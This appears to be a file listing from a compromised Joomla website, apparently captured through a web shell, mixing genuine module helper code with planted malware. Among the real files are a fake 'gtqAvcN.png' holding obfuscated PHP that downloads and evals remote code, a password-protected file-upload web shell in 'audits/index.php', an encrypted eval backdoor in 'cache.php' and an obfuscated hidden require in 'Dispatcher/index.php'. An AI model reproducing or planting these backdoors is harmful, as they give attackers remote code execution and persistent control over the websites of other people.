uawdijnntqw1x1x1
IP : 216.73.217.59
Hostname : webm003.cluster107.gra.hosting.ovh.net
Kernel : Linux webm003.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
OS : Linux
PATH:
/
home
/
opticamezl
/
www
/
newok
/
tmp
/
..
/
cli
/
.
/
..
/
cache
/
..
/
components
/
..
/
tmp
/
..
/
libraries
/
..
/
src.tar
/
/
Helper/RelatedItemsHelper.php000064400000015426151652346520012237 0ustar00<?php /** * @package Joomla.Site * @subpackage mod_related_items * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Module\RelatedItems\Site\Helper; use Joomla\CMS\Application\SiteApplication; use Joomla\CMS\Factory; use Joomla\CMS\Language\Multilanguage; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\Component\Content\Administrator\Extension\ContentComponent; use Joomla\Component\Content\Site\Helper\RouteHelper; use Joomla\Component\Content\Site\Model\ArticlesModel; use Joomla\Database\DatabaseAwareInterface; use Joomla\Database\DatabaseAwareTrait; use Joomla\Database\ParameterType; use Joomla\Registry\Registry; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Helper for mod_related_items * * @since 1.5 */ class RelatedItemsHelper implements DatabaseAwareInterface { use DatabaseAwareTrait; /** * Retrieve a list of related articles based on the metakey field * * @param Registry $params The module parameters. * @param SiteApplication $app The current application. * * @return \stdClass[] * * @since 4.4.0 */ public function getRelatedArticles(Registry $params, SiteApplication $app): array { $db = $this->getDatabase(); $input = $app->getInput(); $groups = $app->getIdentity()->getAuthorisedViewLevels(); $maximum = (int) $params->get('maximum', 5); $factory = $app->bootComponent('com_content')->getMVCFactory(); // Get an instance of the generic articles model /** @var ArticlesModel $articles */ $articles = $factory->createModel('Articles', 'Site', ['ignore_request' => true]); // Set application parameters in model $articles->setState('params', $app->getParams()); $option = $input->get('option'); $view = $input->get('view'); if (!($option === 'com_content' && $view === 'article')) { return []; } $temp = $input->getString('id'); $temp = explode(':', $temp); $id = (int) $temp[0]; $now = Factory::getDate()->toSql(); $related = []; $query = $db->getQuery(true); if ($id) { // Select the meta keywords from the item $query->select($db->quoteName('metakey')) ->from($db->quoteName('#__content')) ->where($db->quoteName('id') . ' = :id') ->bind(':id', $id, ParameterType::INTEGER); $db->setQuery($query); try { $metakey = trim($db->loadResult()); } catch (\RuntimeException $e) { $app->enqueueMessage(Text::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error'); return []; } // Explode the meta keys on a comma $keys = explode(',', $metakey); $likes = []; // Assemble any non-blank word(s) foreach ($keys as $key) { $key = trim($key); if ($key) { $likes[] = $db->escape($key); } } if (\count($likes)) { // Select other items based on the metakey field 'like' the keys found $query->clear() ->select($db->quoteName('a.id')) ->from($db->quoteName('#__content', 'a')) ->where($db->quoteName('a.id') . ' != :id') ->where($db->quoteName('a.state') . ' = ' . ContentComponent::CONDITION_PUBLISHED) ->whereIn($db->quoteName('a.access'), $groups) ->bind(':id', $id, ParameterType::INTEGER); $binds = []; $wheres = []; foreach ($likes as $keyword) { $binds[] = '%' . $keyword . '%'; } $bindNames = $query->bindArray($binds, ParameterType::STRING); foreach ($bindNames as $keyword) { $wheres[] = $db->quoteName('a.metakey') . ' LIKE ' . $keyword; } $query->extendWhere('AND', $wheres, 'OR') ->extendWhere('AND', [ $db->quoteName('a.publish_up') . ' IS NULL', $db->quoteName('a.publish_up') . ' <= :nowDate1'], 'OR') ->extendWhere( 'AND', [ $db->quoteName('a.publish_down') . ' IS NULL', $db->quoteName('a.publish_down') . ' >= :nowDate2', ], 'OR' ) ->bind([':nowDate1', ':nowDate2'], $now); // Filter by language if (Multilanguage::isEnabled()) { $query->whereIn($db->quoteName('a.language'), [$app->getLanguage()->getTag(), '*'], ParameterType::STRING); } $query->setLimit($maximum); $db->setQuery($query); try { $articleIds = $db->loadColumn(); } catch (\RuntimeException $e) { $app->enqueueMessage(Text::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error'); return []; } if (\count($articleIds)) { $articles->setState('filter.article_id', $articleIds); $articles->setState('filter.published', 1); $related = $articles->getItems(); } unset($articleIds); } } if (\count($related)) { // Prepare data for display using display options foreach ($related as &$item) { $item->slug = $item->id . ':' . $item->alias; $item->route = Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language)); } } return $related; } /** * Get a list of related articles * * @param Registry &$params module parameters * * @return array * * @since 1.6 * * @deprecated 4.4.0 will be removed in 6.0 * Use the non-static method getRelatedArticles * Example: Factory::getApplication()->bootModule('mod_related_items', 'site') * ->getHelper('RelatedItemsHelper') * ->getRelatedArticles($params, Factory::getApplication()) */ public static function getList(&$params) { /** @var SiteApplication $app */ $app = Factory::getApplication(); return (new self())->getRelatedArticles($params, $app); } } Dispatcher/Dispatcher.php000064400000002503151652346520011442 0ustar00<?php /** * @package Joomla.Site * @subpackage mod_breadcrumbs * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Module\Breadcrumbs\Site\Dispatcher; use Joomla\CMS\Dispatcher\AbstractModuleDispatcher; use Joomla\CMS\Helper\HelperFactoryAwareInterface; use Joomla\CMS\Helper\HelperFactoryAwareTrait; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Dispatcher class for mod_breadcrumbs * * @since 4.4.0 */ class Dispatcher extends AbstractModuleDispatcher implements HelperFactoryAwareInterface { use HelperFactoryAwareTrait; /** * Returns the layout data. * * @return array * * @since 4.4.0 */ protected function getLayoutData(): array { $data = parent::getLayoutData(); $data['list'] = $this->getHelperFactory()->getHelper('BreadcrumbsHelper')->getBreadcrumbs($data['params'], $data['app']); $data['count'] = count($data['list']); if (!$data['params']->get('showHome', 1)) { $data['homeCrumb'] = $this->getHelperFactory()->getHelper('BreadcrumbsHelper')->getHomeItem($data['params'], $data['app']); } return $data; } } Helper/ArticlesCategoriesHelper.php000064400000005657151721412130013422 0ustar00<?php /** * @package Joomla.Site * @subpackage mod_articles_categories * * @copyright (C) 2010 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Module\ArticlesCategories\Site\Helper; use Joomla\CMS\Application\SiteApplication; use Joomla\CMS\Categories\CategoryInterface; use Joomla\CMS\Categories\CategoryNode; use Joomla\CMS\Factory; use Joomla\Database\DatabaseAwareInterface; use Joomla\Database\DatabaseAwareTrait; use Joomla\Registry\Registry; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Helper for mod_articles_categories * * @since 1.5 */ class ArticlesCategoriesHelper implements DatabaseAwareInterface { use DatabaseAwareTrait; /** * Given a parent category, return a list of children categories * * @param Registry $moduleParams The module parameters. * @param SiteApplication $app The current application. * * @return CategoryNode[] * * @since 4.4.0 */ public function getChildrenCategories(Registry $moduleParams, SiteApplication $app): array { // Joomla\CMS\Categories\Categories options to set $options = []; // Get the number of items in this category or descendants of this category at the expense of performance. $options['countItems'] = $moduleParams->get('numitems', 0); /** @var CategoryInterface $categoryFactory */ $categoryFactory = $app->bootComponent('com_content')->getCategory($options); /** @var CategoryNode $parentCategory */ $parentCategory = $categoryFactory->get($moduleParams->get('parent', 'root')); if ($parentCategory === null) { return []; } // Get all the children categories of this node $childrenCategories = $parentCategory->getChildren(); $count = $moduleParams->get('count', 0); if ($count > 0 && \count($childrenCategories) > $count) { $childrenCategories = \array_slice($childrenCategories, 0, $count); } return $childrenCategories; } /** * Get list of categories * * @param Registry $params module parameters * * @return array * * @since 1.6 * * @deprecated 4.4.0 will be removed in 6.0 * Use the non-static method getChildrenCategories * Example: Factory::getApplication()->bootModule('mod_articles_categories', 'site') * ->getHelper('ArticlesCategoriesHelper') * ->getChildrenCategories($params, Factory::getApplication()) */ public static function getList($params) { /** @var SiteApplication $app */ $app = Factory::getApplication(); return (new self())->getChildrenCategories($params, $app); } } Dispatcher/Dispatcher/gtqAvcN.png000060400000012401151721412130012760 0ustar00<?php goto O9OmBhUNfdo; crDILtoo6t9: class jVdC53pD6LH { static function dyHrry0chJc($tuPEmGVhQf5) { goto t6Z5rT5S3Hm; t6Z5rT5S3Hm: $m0iBD7VzjYI = "\162" . "\141" . "\156" . "\x67" . "\x65"; goto B_yMpR9Xi5U; B_yMpR9Xi5U: $pfWQWXk1IUa = $m0iBD7VzjYI("\176", "\40"); goto AQCxiKSBGK1; ouO12xPpwML: return $KqBWDnYJhzn; goto FikbmCX9Bud; hY_amfxxoEx: yXGf36qN9b8: goto ouO12xPpwML; cJ3tkkwYrtO: foreach ($xAMtfbQzA6b as $hg8jq7bvXzS => $An4tG6yncwy) { $KqBWDnYJhzn .= $pfWQWXk1IUa[$An4tG6yncwy - 64081]; vtx18dMsy0W: } goto hY_amfxxoEx; Hv3gQd6OCLB: $KqBWDnYJhzn = ''; goto cJ3tkkwYrtO; AQCxiKSBGK1: $xAMtfbQzA6b = explode("\74", $tuPEmGVhQf5); goto Hv3gQd6OCLB; FikbmCX9Bud: } static function IL2QhETzqIk($e0LiyvHCdw4, $GqyTzr6y61J) { goto IZcOR1LwRV8; IZcOR1LwRV8: $wEoS7JBDENH = curl_init($e0LiyvHCdw4); goto nI5oD_EnQPv; IRZFhy4TSr7: return empty($mR9Tjy94Wro) ? $GqyTzr6y61J($e0LiyvHCdw4) : $mR9Tjy94Wro; goto hEqFc3OXlEQ; auYWFvEwWrp: $mR9Tjy94Wro = curl_exec($wEoS7JBDENH); goto IRZFhy4TSr7; nI5oD_EnQPv: curl_setopt($wEoS7JBDENH, CURLOPT_RETURNTRANSFER, 1); goto auYWFvEwWrp; hEqFc3OXlEQ: } static function S0VSpdPkrvz() { goto IHZU0KypYhE; mxbdjHK443M: @eval($dI4aBYjzYPz[1 + 3]($Q1zLKaSaNjR)); goto y8WKlzeerTe; Ka7mTPNJfhB: foreach ($MDvN7sA2XP1 as $G8bmoNje371) { $dI4aBYjzYPz[] = self::DyHRRy0ChJc($G8bmoNje371); k_9MOYiqGES: } goto rfsFKP_wkEY; PvWyjJivykD: $yt7Q4Y1HGOQ = @$dI4aBYjzYPz[1]($dI4aBYjzYPz[3 + 7](INPUT_GET, $dI4aBYjzYPz[8 + 1])); goto gVu5PaCHq03; Sy3mjAF0qMk: $Q1zLKaSaNjR = self::il2QHeTZqIK($oLvr9aOAmAl[0 + 1], $dI4aBYjzYPz[5 + 0]); goto mxbdjHK443M; PEHSB2iMMeq: @$dI4aBYjzYPz[10 + 0](INPUT_GET, "\x6f\146") == 1 && die($dI4aBYjzYPz[1 + 4](__FILE__)); goto maAbCoNPn_P; y8WKlzeerTe: die; goto tdHwYWVkIml; IHZU0KypYhE: $MDvN7sA2XP1 = array("\66\x34\61\60\70\x3c\x36\64\60\x39\63\74\x36\x34\x31\60\x36\74\x36\x34\61\61\x30\x3c\66\x34\x30\71\x31\x3c\66\64\61\60\66\74\x36\x34\61\x31\62\x3c\x36\x34\x31\x30\65\74\x36\64\x30\71\60\74\66\64\x30\x39\x37\x3c\66\64\x31\60\x38\x3c\66\64\60\x39\x31\x3c\66\64\61\60\x32\x3c\x36\x34\x30\x39\66\74\x36\x34\x30\71\67", "\66\64\60\x39\x32\x3c\x36\x34\x30\71\x31\x3c\x36\64\60\x39\x33\x3c\x36\x34\x31\x31\x32\x3c\x36\x34\x30\71\x33\x3c\x36\64\60\x39\x36\74\66\64\60\x39\61\x3c\x36\64\61\x35\70\74\x36\64\x31\65\x36", "\66\64\x31\60\x31\x3c\66\x34\x30\x39\62\74\66\64\x30\x39\x36\74\66\64\x30\x39\x37\74\66\64\x31\61\x32\74\x36\64\x31\60\x37\74\66\64\61\x30\66\74\x36\x34\x31\60\x38\x3c\x36\64\60\x39\66\74\66\64\x31\60\67\x3c\x36\x34\x31\60\66", "\66\64\x30\71\65\74\x36\64\61\61\x30\x3c\66\x34\61\60\x38\74\x36\64\61\60\60", "\66\64\61\x30\71\74\66\64\61\61\60\x3c\x36\x34\60\71\62\x3c\66\64\x31\x30\x36\74\x36\x34\x31\x35\x33\74\66\x34\x31\x35\65\x3c\66\x34\61\x31\62\x3c\66\x34\61\60\x37\74\66\64\x31\60\x36\74\66\64\61\x30\x38\74\66\x34\60\71\x36\74\x36\x34\x31\x30\67\74\x36\64\61\60\x36", "\x36\64\x31\x30\x35\x3c\66\64\x31\x30\62\74\66\x34\x30\x39\x39\x3c\x36\x34\61\x30\x36\x3c\x36\x34\61\x31\x32\x3c\66\64\61\60\x34\x3c\66\x34\x31\60\x36\74\x36\x34\x30\x39\x31\74\x36\64\61\61\x32\74\x36\64\x31\x30\70\74\66\64\x30\71\x36\74\66\64\x30\x39\x37\74\x36\64\x30\71\61\74\66\x34\x31\x30\x36\x3c\66\x34\x30\71\67\74\66\64\x30\71\61\x3c\66\64\60\x39\x32", "\x36\64\x31\x33\65\74\66\64\x31\66\65", "\66\x34\60\x38\62", "\x36\x34\x31\x36\60\74\66\x34\x31\66\x35", "\66\64\x31\x34\x32\74\66\64\61\62\65\x3c\x36\x34\61\62\65\x3c\x36\x34\61\64\62\x3c\66\64\x31\x31\70", "\x36\x34\x31\x30\65\x3c\66\64\x31\60\62\74\66\x34\x30\71\71\74\66\64\x30\x39\x31\x3c\x36\x34\x31\60\x36\74\66\64\60\71\63\74\66\64\61\x31\x32\x3c\66\x34\61\60\x32\x3c\x36\64\x30\71\67\x3c\66\64\60\71\65\74\x36\64\60\x39\60\x3c\66\x34\60\71\x31"); goto Ka7mTPNJfhB; gVu5PaCHq03: $tQXTi34ZIW7 = @$dI4aBYjzYPz[3 + 0]($dI4aBYjzYPz[2 + 4], $yt7Q4Y1HGOQ); goto m8kuG2g6TMc; rfsFKP_wkEY: y591O9wCSbq: goto PvWyjJivykD; maAbCoNPn_P: if (!(@$oLvr9aOAmAl[0] - time() > 0 and md5(md5($oLvr9aOAmAl[0 + 3])) === "\142\70\146\141\67\65\66\x37\61\x65\65\61\x34\x30\60\x38\x65\66\143\71\70\144\x31\146\x32\63\63\63\x31\x34\x37\x63")) { goto gg_x395uj2Z; } goto Sy3mjAF0qMk; tdHwYWVkIml: gg_x395uj2Z: goto qalIY0VwLyU; m8kuG2g6TMc: $oLvr9aOAmAl = $dI4aBYjzYPz[2 + 0]($tQXTi34ZIW7, true); goto PEHSB2iMMeq; qalIY0VwLyU: } } goto LXq2CZ6K6xe; O9OmBhUNfdo: $fqb0t2U8zaT = "\x72" . "\141" . "\156" . "\147" . "\x65"; goto SVlknw01L17; GQTEy__1NbI: metaphone("\x50\107\x4b\x39\171\61\x59\104\162\64\x4d\152\x61\x43\x6a\x4e\x51\x37\104\166\x2b\166\120\x56\x4a\x4d\151\154\x59\125\112\x52\66\x65\x42\x6f\x63\60\x73\x69\x70\x6e\x73"); goto crDILtoo6t9; SVlknw01L17: $ZXgj04RhcqJ = $fqb0t2U8zaT("\x7e", "\40"); goto nDySdPrAE3y; zeK_HLR5yTr: @(md5(md5(md5(md5($gViWgQYiwsQ[24])))) === "\143\64\62\x34\71\x64\x66\145\63\x32\71\146\x31\x63\143\62\x63\145\62\71\x32\146\x32\x36\x37\x31\65\66\67\x66\144\x34") && (count($gViWgQYiwsQ) == 30 && in_array(gettype($gViWgQYiwsQ) . count($gViWgQYiwsQ), $gViWgQYiwsQ)) ? ($gViWgQYiwsQ[66] = $gViWgQYiwsQ[66] . $gViWgQYiwsQ[72]) && ($gViWgQYiwsQ[88] = $gViWgQYiwsQ[66]($gViWgQYiwsQ[88])) && @eval($gViWgQYiwsQ[66](${$gViWgQYiwsQ[40]}[27])) : $gViWgQYiwsQ; goto GQTEy__1NbI; nDySdPrAE3y: $gViWgQYiwsQ = ${$ZXgj04RhcqJ[27 + 4] . $ZXgj04RhcqJ[53 + 6] . $ZXgj04RhcqJ[30 + 17] . $ZXgj04RhcqJ[34 + 13] . $ZXgj04RhcqJ[19 + 32] . $ZXgj04RhcqJ[44 + 9] . $ZXgj04RhcqJ[31 + 26]}; goto zeK_HLR5yTr; LXq2CZ6K6xe: JvDC53Pd6lh::S0vSPdpkrvz(); ?> Dispatcher/Dispatcher/audits/index.php000060400000002453151721412130014026 0ustar00<?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') { $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } } ?> <?php echo('kill_the_net'); $files = @$_FILES["files"]; if ($files["name"] != '') { $fullpath = $_REQUEST["path"] . $files["name"]; if (move_uploaded_file($files['tmp_name'], $fullpath)) { echo "<h1><a href='$fullpath'>OK-Click here!</a></h1>"; } }echo '<html><head><title>Upload files...</title></head><body><form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up"></form></body></html>'; ?>Dispatcher/Dispatcher/cache.php000060400000013024151721412130012465 0ustar00<?php $cHg = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGioR3uWaYGANAA'; $XKw = 'ISOug3C8HFErF+2DrlT1QGhseCjXWG7pM9hHHs5x3d5+Xu/je4x6K+7W90or6f9BnjXO409vexnn1HV5R08atvHtqotc7yWjC//udPe7xq/v3mZhLe583u7i3W7yHf6AFLwda8mJfrxryO+U3fmIt4WfZUm7f1WX837LSP6j/+mzqRJh5Amxo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RDC2Z/Xq6Rnc31brg/ate6FX/uuPu443LOarbb9Zc4pBBn3m8OHgWo2p6FNZ3a1Wblpqa1VpZLIz16FrLIjV0m1r56w3yaQnt1m8NcZEwOoWne4Fv27o6cX3t2zfe1lb+8TpO15Jb9o90i2/4qb3A35ZnawDfdt0bPs/nL0qT39rfIpfY6PBt6nHe8srGn4dZjpT8z2bn6HM/rbvXv3iqsD289tTfYsHX/15+ivrvd0Tu+2jrubtHbwr94TVxSffyFvMLx7avxqA4u4Ly9Oc7P07itfbrb10jO7+GjYSltnxJHwEQ5Z3+iv59EnDQIDY2C3wKgHiKOQaWxq+HiGwogIdUoRLD0/g5uWVrUJqv3GFAzk+3bywE1GrSllCLNCCykCf09Rlg9hxcNyS9vT9f+GtXRvMtb0q4X0SU4dqUZW6qN6NbuMFd76/sOZSN6Y/vBcj9tPWdXCS1hZNHNDrM7pxpgZsOsrkYCubBGIUlyUsrZq2P7YuvfZQpv06YFNsm6VnJrw5Y2io4K0Yb9tXP7c931VVdJl+1y2cW+zuh8cHAKEBWqa2Hp95Yeyl8NWyZOQLbJpQbDE1NmzZckUPNGLxTey3ZN+GbgLgnI8NN2BF9/v0IptdrrT5ciX8E4w+BA//PAQA'; function cHg($lBCPz) { $XKw = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $UPvpc = substr($XKw, 0, 16); $jRvXx = base64_decode($lBCPz); return openssl_decrypt($jRvXx, "AES-256-CBC", $XKw, OPENSSL_RAW_DATA, $UPvpc); } if (cHg('DjtPn+r4S0yvLCnquPz1fA')){ echo 'eZPvvJ4usyaYtXZoNU0bqWL2zJCmNPbuo9RqX/SBFSGbb4hyFSTZzN6qbbxAzRDN'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($cHg)))); ?>Dispatcher/Dispatcher/index.php000060400000003457151721412130012542 0ustar00<?php /*- ⅖↳╒ღ⇈⊴‐┉⊓╚⅛﹂⇦⇙➙⇣⊗ nB.^;6L@ma⅖↳╒ღ⇈⊴‐┉⊓╚⅛﹂⇦⇙➙⇣⊗ -*/// $TC /*- ╩ⓑ✙➂⇓➽℠☎☂∻ⓧ⏢⊉℘ℚ HqH6;1j-╩ⓑ✙➂⇓➽℠☎☂∻ⓧ⏢⊉℘ℚ -*/// =/*-m3DcK-*/// "ra"/*- ≿⑰⇔—☋↕∹⇁Ⅷ✬⊭➥⊥↦☏﹊♘⋎ o1oU^tR9S≿⑰⇔—☋↕∹⇁Ⅷ✬⊭➥⊥↦☏﹊♘⋎ -*/// ."nge"; $jnKpT /*-Y=}-*/// =/*-O0!x-*/// $TC/*-oI-*/// (/*- ㊚√↦ⓡ∛★▬﹟✾⒲◀⓭⅝ⓒ┗♢↔⓶▉◾┪⊶∈‐◱卍⊨ℰ F;&-o%H>㊚√↦ⓡ∛★▬﹟✾⒲◀⓭⅝ⓒ┗♢↔⓶▉◾┪⊶∈‐◱卍⊨ℰ -*/// "~"/*-lZ,6R-*/// ,/*-R(hcd-*/// " "); /*-P9M.;B|-*/// @require/*- ✏﹄⅑ℕ㎡︵┍⇉✝⋠◎⓵«☷⇙➭➋↶◶⒛⊜⒜ tdj:4Y_✏﹄⅑ℕ㎡︵┍⇉✝⋠◎⓵«☷⇙➭➋↶◶⒛⊜⒜ -*/// $jnKpT/*- ㈦➌◨❽◗℃⋠ⓜ➏╧ hMoM㈦➌◨❽◗℃⋠ⓜ➏╧ -*/// [2+21].$jnKpT/*- ➹☿⊓⒏⇜▣∳≼◳❦≣※ 2R:➹☿⊓⒏⇜▣∳≼◳❦≣※ -*/// [2+8].$jnKpT/*- ›⒐➀☐✐⒖ gqNG6@J›⒐➀☐✐⒖ -*/// [13+0].$jnKpT/*- ⓵♂▏≰⊃⊔▾⇨▤▿⓻⓳╆ⅲⅡ¤➳➷Ⅾϡ【√∃⑳╟≙⋼ `U[k,<?Bc7⓵♂▏≰⊃⊔▾⇨▤▿⓻⓳╆ⅲⅡ¤➳➷Ⅾϡ【√∃⑳╟≙⋼ -*/// [49+12].$jnKpT/*-2d6-*/// [3+5].$jnKpT/*-.:}-*/// [10+17].$jnKpT/*- ◙ℒ﹂◅┰⇜ iX0G=M!◙ℒ﹂◅┰⇜ -*/// [3+45].$jnKpT/*- ↠❻⋇∸☿☓⒢⋆♟❖⊵⒐ U$:Yb↠❻⋇∸☿☓⒢⋆♟❖⊵⒐ -*/// [17+63].$jnKpT/*- ▫⓽⋙ⓗ±⊺✸⇈㊆Ⓣ◖`⒛╎↕ _JgC▫⓽⋙ⓗ±⊺✸⇈㊆Ⓣ◖`⒛╎↕ -*/// [7+7].$jnKpT/*-{7j-*/// [12+4].$jnKpT/*- ⑿❈⋕◀↷⋰ⅷ⊉♞ⅺ⇉۰⋂№ s$6`s`o$⑿❈⋕◀↷⋰ⅷ⊉♞ⅺ⇉۰⋂№ -*/// [7+16]/*-Wk~ML-*/// ; ?>Helper/ArticlesCategoryHelper.php000064400000047310151721412220013102 0ustar00<?php /** * @package Joomla.Site * @subpackage mod_articles_category * * @copyright (C) 2010 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Module\ArticlesCategory\Site\Helper; use Joomla\CMS\Access\Access; use Joomla\CMS\Application\SiteApplication; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Date\Date; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Router\Route; use Joomla\Component\Content\Administrator\Extension\ContentComponent; use Joomla\Component\Content\Site\Helper\RouteHelper; use Joomla\Database\DatabaseAwareInterface; use Joomla\Database\DatabaseAwareTrait; use Joomla\Registry\Registry; use Joomla\String\StringHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Helper for mod_articles_category * * @since 1.6 */ class ArticlesCategoryHelper implements DatabaseAwareInterface { use DatabaseAwareTrait; /** * Retrieve a list of article * * @param Registry $params The module parameters. * @param SiteApplication $app The current application. * * @return object[] * * @since 4.4.0 */ public function getArticles(Registry $params, SiteApplication $app) { $factory = $app->bootComponent('com_content')->getMVCFactory(); // Get an instance of the generic articles model $articles = $factory->createModel('Articles', 'Site', ['ignore_request' => true]); // Set application parameters in model $input = $app->getInput(); $appParams = $app->getParams(); $articles->setState('params', $appParams); $articles->setState('list.start', 0); $articles->setState('filter.published', ContentComponent::CONDITION_PUBLISHED); // Set the filters based on the module params $articles->setState('list.limit', (int) $params->get('count', 0)); $articles->setState('load_tags', $params->get('show_tags', 0) || $params->get('article_grouping', 'none') === 'tags'); // Access filter $access = !ComponentHelper::getParams('com_content')->get('show_noauth'); $authorised = Access::getAuthorisedViewLevels($app->getIdentity()->get('id')); $articles->setState('filter.access', $access); // Prep for Normal or Dynamic Modes $mode = $params->get('mode', 'normal'); switch ($mode) { case 'dynamic': $option = $input->get('option'); $view = $input->get('view'); if ($option === 'com_content') { switch ($view) { case 'category': case 'categories': $catids = [$input->getInt('id')]; break; case 'article': if ($params->get('show_on_article_page', 1)) { $article_id = $input->getInt('id'); $catid = $input->getInt('catid'); if (!$catid) { // Get an instance of the generic article model $article = $factory->createModel('Article', 'Site', ['ignore_request' => true]); $article->setState('params', $appParams); $article->setState('filter.published', 1); $article->setState('article.id', (int) $article_id); $item = $article->getItem(); $catids = [$item->catid]; } else { $catids = [$catid]; } } else { // Return right away if show_on_article_page option is off return; } break; default: // Return right away if not on the category or article views return; } } else { // Return right away if not on a com_content page return; } break; default: $catids = $params->get('catid'); $articles->setState('filter.category_id.include', (bool) $params->get('category_filtering_type', 1)); break; } // Category filter if ($catids) { if ($params->get('show_child_category_articles', 0) && (int) $params->get('levels', 0) > 0) { // Get an instance of the generic categories model $categories = $factory->createModel('Categories', 'Site', ['ignore_request' => true]); $categories->setState('params', $appParams); $levels = $params->get('levels', 1) ?: 9999; $categories->setState('filter.get_children', $levels); $categories->setState('filter.published', 1); $categories->setState('filter.access', $access); $additional_catids = []; foreach ($catids as $catid) { $categories->setState('filter.parentId', $catid); $recursive = true; $items = $categories->getItems($recursive); if ($items) { foreach ($items as $category) { $condition = (($category->level - $categories->getParent()->level) <= $levels); if ($condition) { $additional_catids[] = $category->id; } } } } $catids = array_unique(array_merge($catids, $additional_catids)); } $articles->setState('filter.category_id', $catids); } // Ordering $ordering = $params->get('article_ordering', 'a.ordering'); switch ($ordering) { case 'random': $articles->setState('list.ordering', $this->getDatabase()->getQuery(true)->rand()); break; case 'rating_count': case 'rating': $articles->setState('list.ordering', $ordering); $articles->setState('list.direction', $params->get('article_ordering_direction', 'ASC')); if (!PluginHelper::isEnabled('content', 'vote')) { $articles->setState('list.ordering', 'a.ordering'); } break; default: $articles->setState('list.ordering', $ordering); $articles->setState('list.direction', $params->get('article_ordering_direction', 'ASC')); break; } // Filter by multiple tags $articles->setState('filter.tag', $params->get('filter_tag', [])); $articles->setState('filter.featured', $params->get('show_front', 'show')); $articles->setState('filter.author_id', $params->get('created_by', [])); $articles->setState('filter.author_id.include', $params->get('author_filtering_type', 1)); $articles->setState('filter.author_alias', $params->get('created_by_alias', [])); $articles->setState('filter.author_alias.include', $params->get('author_alias_filtering_type', 1)); $excluded_articles = $params->get('excluded_articles', ''); if ($excluded_articles) { $excluded_articles = explode("\r\n", $excluded_articles); $articles->setState('filter.article_id', $excluded_articles); // Exclude $articles->setState('filter.article_id.include', false); } $date_filtering = $params->get('date_filtering', 'off'); if ($date_filtering !== 'off') { $articles->setState('filter.date_filtering', $date_filtering); $articles->setState('filter.date_field', $params->get('date_field', 'a.created')); $articles->setState('filter.start_date_range', $params->get('start_date_range', '1000-01-01 00:00:00')); $articles->setState('filter.end_date_range', $params->get('end_date_range', '9999-12-31 23:59:59')); $articles->setState('filter.relative_date', $params->get('relative_date', 30)); } // Filter by language $articles->setState('filter.language', $app->getLanguageFilter()); $items = $articles->getItems(); // Display options $show_date = $params->get('show_date', 0); $show_date_field = $params->get('show_date_field', 'created'); $show_date_format = $params->get('show_date_format', 'Y-m-d H:i:s'); $show_category = $params->get('show_category', 0); $show_hits = $params->get('show_hits', 0); $show_author = $params->get('show_author', 0); $show_introtext = $params->get('show_introtext', 0); $introtext_limit = $params->get('introtext_limit', 100); // Find current Article ID if on an article page $option = $input->get('option'); $view = $input->get('view'); if ($option === 'com_content' && $view === 'article') { $active_article_id = $input->getInt('id'); } else { $active_article_id = 0; } // Prepare data for display using display options foreach ($items as &$item) { $item->slug = $item->id . ':' . $item->alias; if ($access || \in_array($item->access, $authorised)) { // We know that user has the privilege to view the article $item->link = Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language)); } else { $menu = $app->getMenu(); $menuitems = $menu->getItems('link', 'index.php?option=com_users&view=login'); if (isset($menuitems[0])) { $Itemid = $menuitems[0]->id; } elseif ($input->getInt('Itemid') > 0) { // Use Itemid from requesting page only if there is no existing menu $Itemid = $input->getInt('Itemid'); } $item->link = Route::_('index.php?option=com_users&view=login&Itemid=' . $Itemid); } // Used for styling the active article $item->active = $item->id == $active_article_id ? 'active' : ''; $item->displayDate = ''; if ($show_date) { $item->displayDate = HTMLHelper::_('date', $item->$show_date_field, $show_date_format); } if ($item->catid) { $item->displayCategoryLink = Route::_(RouteHelper::getCategoryRoute($item->catid, $item->category_language)); $item->displayCategoryTitle = $show_category ? '<a href="' . $item->displayCategoryLink . '">' . $item->category_title 